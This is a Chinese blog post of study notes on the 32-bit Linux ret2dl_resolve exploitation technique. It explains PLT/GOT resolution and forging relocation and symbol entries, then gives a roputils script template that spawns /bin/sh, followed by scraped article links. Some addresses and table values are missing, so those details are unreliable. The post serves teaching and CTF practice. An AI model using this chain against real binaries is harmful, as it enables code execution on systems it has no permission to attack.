之前在drop看过一篇文章,是西电的Bigtang师傅写的,这里来学习一下姿势做一些笔记。

0x01 基础知识

Linux ELF文件存在两个很重要的表,一个是got表(.got.plt)一个是plt表(.plt)。这些存在的原因是ELF文件使用了延迟绑定的技术。当我们调用一个函数时,如果这是第一次调用,会动用plt中的寻找函数找出这个函数的虚拟地址,然后写入到got表中,之后第二次第三次调用就不需要再查找,直接把got表中的内容取出使用就可以了。

为了实现这种设计的功能,plt代码中是这样写的

 0x8048340 <free@plt>:          jmp    DWORD PTR ds:0x804a00c
0x8048346 <free@plt+>: push 0x0
0x804834b <free@plt+>: jmp 0x8048330 0x8048350 <malloc@plt>: jmp DWORD PTR ds:0x804a010
0x8048356 <malloc@plt+>: push 0x8
0x804835b <malloc@plt+>: jmp 0x8048330 0x8048360 <puts@plt>: jmp DWORD PTR ds:0x804a014
0x8048366 <puts@plt+>: push 0x10
0x8048366 <puts@plt+>: jmp 0x8048330
0x804a00c、0x804a010、0x804a014是free、malloc、puts对应的got表地址。plt代码首先会取出got表中的值,然后做一个跳转,如果是第一次调用函数,那么got表中的值是指向plt第二句的,比如0x804a00c的值就是0x8048346。
plt的第二句会压入序号,因为free是got表中第一项,所以是push 0x0。而malloc是表中第二项,所以是push 0x8。之后跳入0x8048330。 0x8048330处的代码如下所示
0x8048330:    push   DWORD PTR ds:0x804a004
0x8048336: jmp DWORD PTR ds:0x804a008

0x804a000是got表的起始地址。+8处保存着查找函数,这里跳转到查找函数。

ELF文件的节区如下所示(使用readelf -S ./tst)

vb@unun:~/桌面/double free$ readelf -S ./tst
共有 个节头,从偏移量 0x1844 开始: 节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ ] NULL
[ ] .interp PROGBITS A
[ ] .note.ABI-tag NOTE A
[ ] .note.gnu.build-i NOTE A
[ ] .gnu.hash GNU_HASH 080481ac 0001ac A
[ ] .dynsym DYNSYM 080481cc 0001cc A
[ ] .dynstr STRTAB 0804823c 00023c 00006a A
[ ] .gnu.version VERSYM 080482a6 0002a6 00000e A
[ ] .gnu.version_r VERNEED 080482b4 0002b4 A
[ ] .rel.dyn REL 080482e4 0002e4 A
[] .rel.plt REL 080482ec 0002ec AI
[] .init PROGBITS 0804830c 00030c AX
[] .plt PROGBITS AX
[] .plt.got PROGBITS AX
[] .text PROGBITS 0001e2 AX
[] .fini PROGBITS AX
[] .rodata PROGBITS A
[] .eh_frame_hdr PROGBITS 0804859c 00059c 00002c A
[] .eh_frame PROGBITS 080485c8 0005c8 0000cc A
[] .init_array INIT_ARRAY 08049f08 000f08 WA
[] .fini_array FINI_ARRAY 08049f0c 000f0c WA
[] .jcr PROGBITS 08049f10 000f10 WA
[] .dynamic DYNAMIC 08049f14 000f14 0000e8 WA
[] .got PROGBITS 08049ffc 000ffc WA
[] .got.plt PROGBITS 0804a000 00001c WA
[] .data PROGBITS 0804a01c 00101c WA
[] .bss NOBITS 0804a040 WA
[] .comment PROGBITS MS
[] .shstrtab STRTAB 00010a
[] .symtab SYMTAB
[] .strtab STRTAB 0014d8
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

0x02 如何利用

查找函数的查找过程

index_arg(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)

事实上,虚拟地址是通过最后一个箭头,即从st_name得来的,只要我们能够修改这个st_name就可以执行任意函数。比如把st_name的内容修改成为"system"。

而index_arg是我们控制的,我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控。

那么我们要实现控制就要解决一下的几个问题:

1.怎么计算index_arg才能控制.rel.plt(Elf32_Rel)值?

index_arg是我们直接通过压栈参数进行控制的,使用要伪造的目标地址减去.rel.plt段基地址就是index_arg的值。其中.rel.plt段使用IDA是不能看到的,所以这里要使用objdump -s -j .rel.plt ./tst命令来查看。

vb@unun:~/桌面$ objdump -s -j .rel.plt ./tst

./tst:     文件格式 elf32-i386

Contents of section .rel.plt:
80482ec 0ca00408 10a00408 ................
80482fc 14a00408 18a00408 ................

由于我的目标地址处于bss段上的0x804A06,所以就需要进行如下的运算:

0x804A060-0x80482ec=7540,那么我们的index_arg的值就应该是7540,以指向.rel.plt

2.怎么构造.rel.plt(Elf32_Rel)才能控制.dynsym(Elf32_Sym)值?

当.rel.plt(Elf32_Rel)域落到可控区域之后要考虑的就是如何构造这个的值。

使用readelf -r命令可以看到这些reloc项,其中处于.rel.plt的用于函数重定位也正是我们的目标。

vb@unun:~/桌面$ readelf -r tst

重定位节 '.rel.dyn' 位于偏移量 0x2e4 含有  个条目:
偏移量 信息 类型 符号值 符号名称
08049ffc R_386_GLOB_DAT __gmon_start__ 重定位节 '.rel.plt' 位于偏移量 0x2ec 含有 个条目:
偏移量 信息 类型 符号值 符号名称
0804a00c R_386_JUMP_SLOT gets@GLIBC_2.
0804a010 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.
0804a014 R_386_JUMP_SLOT puts@GLIBC_2.
0804a018 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.

可以看出.rel.plt中的值满足如下Elf32_Rel结构

typedef struct {
Elf32_Addr r_offset; // 这个值就是got表的虚拟地址
Elf32_Word r_info; // .dynsym节区符号表索引(下标为r_info>>8)
} Elf32_Rel;

其中第一项是对应的got表的地址。第二项经过>>8运算后是.dynsym节区的索引下标值,我们要控制的就是这一项。

r_info的计算方法是

1.n=(欲伪造的地址-.dynsym基地址)/0x10

2.r_info=n<<8

dynsym基地址使用objdump -s -j .dynsym ./tst来获取。

3.怎么构造.dynsym(Elf32_Sym)才能实现控制.dynstr(st_name)值?

typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) 这个就是*/
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

.dynsym节区包含了动态链接符号表,符号表由Elf32_Sym结构表示。具体情况如上所示。其中第一项就是其对应的st_name到.dynstr节起始的偏移值。我们要把偏移值指向我们的可控区域,就能实现控制st_name

.dynstr的基地址由objdump -s -j .dynstr ./tst来获得。

3. .dynstr写入system完成利用

.dynstr节包含了动态链接的字符,字符串是直接以ASCII码的形式储存的。所以在指针指向的地方直接写入ASCII形式的system即可达成利用!

0x03 现成的脚本模版

来自Github

from roputils import *

fpath = sys.argv[1]
offset = int(sys.argv[2]) rop = ROP(fpath)
addr_bss = rop.section('.bss') buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss) p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf)) buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf) p.write(buf)
p.interact(0)

return to dl_resolve无需leak内存实现利用的更多相关文章

  1. 转: 利用 DEBUG_NEW 来追溯 Memory leak 内存泄漏

    参考: https://msdn.microsoft.com/en-us/library/tz7sxz99.aspx http://www.cnblogs.com/taoxu0903/archive/ ...

  2. c++之函数值传递和引用传递解析----关键在于理解函数return的实现机制(内存分配)

    函数调用过程解析 func里的a存储在调用fun函数时开辟的栈空间里,这块栈只在调用func时对func可用,调用结束后返回的a,其实是暂存在寄存器里的(一般情况下是eax),而返回到main里时,m ...

  3. 进程间通信 - 动态链接库中共享内存(利用DLL的2~3G的地址段空间)

    前言 进程是装入内存并准备执行的程序,每个进程都有私有的虚拟地址空间,由代码.数据,以及其他的一些资源组成.32位系统的进程分配4G的虚拟地址空间.内存地址范围是0x00000000-0xFFFFFF ...

  4. C语言之:结构体动态分配内存(利用结构体数组保存不超过10个学生的信息,每个学生的信息包括:学号、姓名和三门课(高数、物理和英语 )的成绩和平均分(整型)。)

    题目内容: 利用结构体数组保存不超过10个学生的信息,每个学生的信息包括:学号.姓名和三门课(高数.物理和英语 )的成绩和平均分(整型). 编写程序,从键盘输入学生的人数,然后依次输入每个学生的学号. ...

  5. Zimbra无需登录RCE漏洞利用

    2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...

  6. CTF内存高级利用技术

    起了一个比较屌的标题,233.想写这篇文章主要是看了kelwya分析的议题,于是准备自己动手实践一下.蓝莲花的选手真的是国际大赛经验丰富,有很多很多的思路和知识我完全都没有听说过.这篇文章会写一些不常 ...

  7. 易错、经典问题:return不可返回指向栈内存的指针

    预备知识:内存的分类 C/C++程序占用的内存分为两大类:静态存储区与动态存储区.其示意图如下所示: 数据保存在静态存储区与动态存储区的区别就是:静态存储区在编译-链接阶段已经确定了,程序运行过程中不 ...

  8. MFCButton Memory leak(内存泄露问题)

    http://m.blog.csdn.net/blog/haoekin/8851219 1.无法显示右边箭头的问题 无论怎么折腾都没显示不出来,微软给的示例又能显示,度娘和谷歌也都不知道,经过不断地探 ...

  9. DTrace memory leak 内存泄露

    http://blog.sina.com.cn/s/blog_538040b70100eecn.html   如下程序用于跟踪,在分配和回收都会触发探针 #!/usr/sbin/dtrace -s p ...

随机推荐

  1. shiro权限认证与授权

    什么是shiro? Shiro是apache旗下一个开源框架,它将软件系统的安全认证相关的功能抽取出来,实现用户身份认证,权限授权.加密.会话管理等功能,组成了一个通用的安全认证框架. 为什么要用sh ...

  2. day3 程序流程控制

    今天主要学习了while和do/while,以及运用循环做一些小的练习. 学习了如何断点调试程序. 程序设计的步骤: 1.分析问题 2.确定数据结构和算法 3.编制程序 4.调试问题

  3. Block的copy时机

    什么时候栈上的Block会复制到堆上呢? 1.调用Block的copy实例方法 2.Block作为函数返回值返回时 3.将Block赋值给附有__strong修饰符id类型的类或Block类型成员变量 ...

  4. 简便开发插件 -- lombok

    lombok是一款可以精减java代码.提升开发人员生产效率的辅助工具,可以利用注解在编译期自动生成setter/getter/toString()/constructor代码. 彻底将开发人员从繁琐 ...

  5. NO.11天作业

    打印uid在30~40范围内的用户名.awk -F: '$3>=30 && $3<=40{print $1,$3}' /etc/passwd 打印第5-10行的行号和用户名 ...

  6. 数据结构编程实验——chapter10-应用经典二叉树编程

    二叉树不仅结构简单.节省内存,更重要是是这种结构有利于对数据的二分处理.之前我们提过,在二叉树的基础上能够派生很多经典的数据结构,也是下面我们将进行讨论的知识点: (1)   提高数据查找效率的二叉排 ...

  7. springboot 以jar方式在linux后台运行

    linux命令如下: nohup java -jar 自己的springboot项目.jar >日志文件名.log 2>&1 & 命令解释: nohup:不挂断地运行命令, ...

  8. bootstrap-tooltip+validate

    名称 返回类型 描述 validate(options) 返回:Validator 验证所选的FORM valid() 返回:Boolean 检查是否验证通过 rules() 返回:Options 返 ...

  9. 【转】 jquery easyui datagrid使用,分页、排序、查询

    $('#dg').datagrid({ url: "xxx.ashx",                    pagination: true,                p ...

  10. JavaScript的基本介绍

    JavaScript入门介绍 输出语句:document.write()   1.执行顺序:从上到下,每一天语句是要加分号的,如果不加的话,浏览器会默认帮你自动添加,分号.   2.注释:一行注释就是 ...